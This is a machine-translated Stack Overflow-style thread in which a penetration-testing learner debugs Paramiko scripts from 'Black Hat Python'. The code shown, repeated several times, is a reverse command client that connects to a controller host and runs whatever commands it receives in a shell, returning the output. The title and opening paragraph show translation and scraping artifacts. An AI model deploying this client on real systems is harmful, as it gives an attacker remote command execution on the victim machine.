Python脚本运行但不';我什么也不做
最近,我对渗透测试产生了兴趣。在投资一门全面的课程之前,我决定尝试学习如何编写一些脚本。目前我正在阅读Justin Seitz的《黑帽Python》一书 我在使用Paramiko的SSH部分,其中两个脚本让我感到困惑。它们都运行时没有错误,但屏幕上没有显示任何内容。在Windows和Linux中,终端(或DOS提示符)会立即返回提示符。我已经检查了几次脚本,没有发现问题。两个脚本的代码如下所示 Script#1Python脚本运行但不';我什么也不做,python,ssh,Python,Ssh,最近,我对渗透测试产生了兴趣。在投资一门全面的课程之前,我决定尝试学习如何编写一些脚本。目前我正在阅读Justin Seitz的《黑帽Python》一书 我在使用Paramiko的SSH部分,其中两个脚本让我感到困惑。它们都运行时没有错误,但屏幕上没有显示任何内容。在Windows和Linux中,终端(或DOS提示符)会立即返回提示符。我已经检查了几次脚本,没有发现问题。两个脚本的代码如下所示 Script#1bh_sshserver.py(此脚本的目的是创建ssh服务器) 脚本#2bh_ssh
bh_sshserver.py
(此脚本的目的是创建ssh服务器)
脚本#2bh_sshRcmd.py
(此脚本的目的是为ssh服务器创建一个要连接的命令接收器)
这两个脚本都是在Windows中编写的,因此不需要顶部的shebang语句(即#
!/usr/bin/python
)。我将它们复制到一个Linux虚拟机上并添加了该语句,并使用chmod+x
使它们可执行。不过,当脚本运行时,屏幕上没有显示任何内容。IP地址来自VMware虚拟网络,以前从未出现过问题。连接到服务器时可能出现错误。尝试添加更多打印语句以涵盖以下条件:
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
print 'running ssh_command with ip: {ip} user: {user} passwd: {passwd}, command: {command}'.format(ip=ip,user=user,passwd=passwd,command=command)
client = paramiko.SSHClient()
#client.load host keys ('/home/root/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
print 'ssh_session is active'
ssh_session.exec_command(command)
print ssh_session.recv(1024)
# Read the banner
while True:
print 'recv-ing'
command = ssh_session.recv(1024)
# Get Command from SSH Server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
else:
print 'ssh_session is not active'
ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')
至于bh_sshserver.py
,如果运行python bh_sshserver.py
,则不会发生任何事情。这是因为在主作用域中没有任何语句。如果您想启动服务器,可以在脚本底部添加代码,而无需缩进。- 您应该使用如下命令行参数从终端调用服务器:
python scriptname.py服务器地址端口 - 更改客户端脚本最后一行的缩进-它应该调用您的函数
- 终端和客户端函数中的服务器地址应相同
如果您需要,我可以为您提供这两个为我工作的脚本 感谢所有回复的人。最后,我从github找到了一些Paramiko演示文件,其中包括一个示例SSH服务器。事实证明,剧本比作者想象的要复杂得多。我丢失了大量代码,这就是服务器无法工作的原因。当我使我的脚本与样本大致匹配时,它就完美地工作了,我的客户也是如此 如果有人遇到类似的问题,以下是指向Paramiko演示文件的链接:
是否应缩进
bhsshrcmd.py
的最后一行?这可能就是为什么没有运行任何程序。我已经编辑了您的问题,使其可读。请检查Python代码,尤其是缩进是否正确。@amccormack我已经解决了这个问题,尽管我不确定整个代码。例如,从未使用过类Server
。是的,我假设它应该运行服务器端,但他从未启动过。另外,为什么bh_sshRcmd.py
的最后一行是ssh_命令的最后一个参数。这似乎不是有效的命令。试试whoami
,它在我遇到的每个操作系统中都运行,所以当你想看看代码执行是否有效时,它是一个非常好的测试。
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
client = paramiko.SSHClient()
#client.load host keys ('/home/root/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
ssh_session.exec_command(command)
print ssh_session.recv(1024)
# Read the banner
while True:
command = ssh_session.recv(1024)
# Get Command from SSH Server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')
import threading
import paramiko
import subprocess
def ssh_command(ip, user, passwd, command):
print 'running ssh_command with ip: {ip} user: {user} passwd: {passwd}, command: {command}'.format(ip=ip,user=user,passwd=passwd,command=command)
client = paramiko.SSHClient()
#client.load host keys ('/home/root/.ssh/known_hosts')
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
client.connect(ip, username=user, password=passwd)
ssh_session = client.get_transport().open_session()
if ssh_session.active:
print 'ssh_session is active'
ssh_session.exec_command(command)
print ssh_session.recv(1024)
# Read the banner
while True:
print 'recv-ing'
command = ssh_session.recv(1024)
# Get Command from SSH Server
try:
cmd_output = subprocess.check_output(command, shell=True)
ssh_session.send(cmd_output)
except Exception, e:
ssh_session.send(str(e))
client.close()
return
else:
print 'ssh_session is not active'
ssh_command('192.168.1.26', 'Admin', '12345', 'ClientConnected')